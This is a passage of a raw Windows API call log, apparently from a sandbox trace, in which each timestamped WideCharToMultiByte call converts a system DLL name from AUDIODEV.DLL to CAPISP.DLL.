[0241.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIODEV.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOENG.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOKSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOSES.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0241.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0xb3c1a8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITNATIVESNAPIN.DLL", lpUsedDefaultChar=0x0) returned 21 [0241.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0241.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0xb3c310, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLICYGPINTEROP.DLL", lpUsedDefaultChar=0x0) returned 24 [0241.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0241.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0xb3c1a8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLMSG.DLL", lpUsedDefaultChar=0x0) returned 15 [0241.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0xb3c310, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWCFG.DLL", lpUsedDefaultChar=0x0) returned 13 [0241.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWGP.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0241.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0xb3c310, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWSNAPIN.DLL", lpUsedDefaultChar=0x0) returned 16 [0241.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0241.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0xb3c1a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWWIZFWK.DLL", lpUsedDefaultChar=0x0) returned 16 [0241.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0xb3c310, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0241.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0xb3c1a8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHZ.DLL", lpUsedDefaultChar=0x0) returned 9 [0241.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTOPLAY.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0241.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0xb3c1a8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYAPI.DLL", lpUsedDefaultChar=0x0) returned 23 [0241.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0241.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0xb3c310, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYCPL.DLL", lpUsedDefaultChar=0x0) returned 23 [0241.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVICAP32.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVIFIL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0xb3c1a8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVRT.DLL", lpUsedDefaultChar=0x0) returned 8 [0241.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0xb3c310, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLES.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZSQLEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BASECSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BATMETER.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0xb3c1a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPT.DLL", lpUsedDefaultChar=0x0) returned 10 [0241.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0241.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0xb3c310, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPTPRIMITIVES.DLL", lpUsedDefaultChar=0x0) returned 20 [0241.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIDISPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0241.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0xb3c310, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIOCREDPROV.DLL", lpUsedDefaultChar=0x0) returned 15 [0241.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPERF.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX2.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX3.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX4.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX5.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX6.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BLACKBOX.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0xb3c310, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BOOTVID.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWSEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BTPANUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0241.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0xb3c310, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWCONTEXTHANDLER.DLL", lpUsedDefaultChar=0x0) returned 20 [0241.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0241.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0xb3c1a8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWUNPAIRELEVATED.DLL", lpUsedDefaultChar=0x0) returned 20 [0241.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0xb3c310, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABINET.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABVIEW.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0241.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0xb3c310, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPIPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 16 [0241.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0xb3c1a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPISP.DLL", 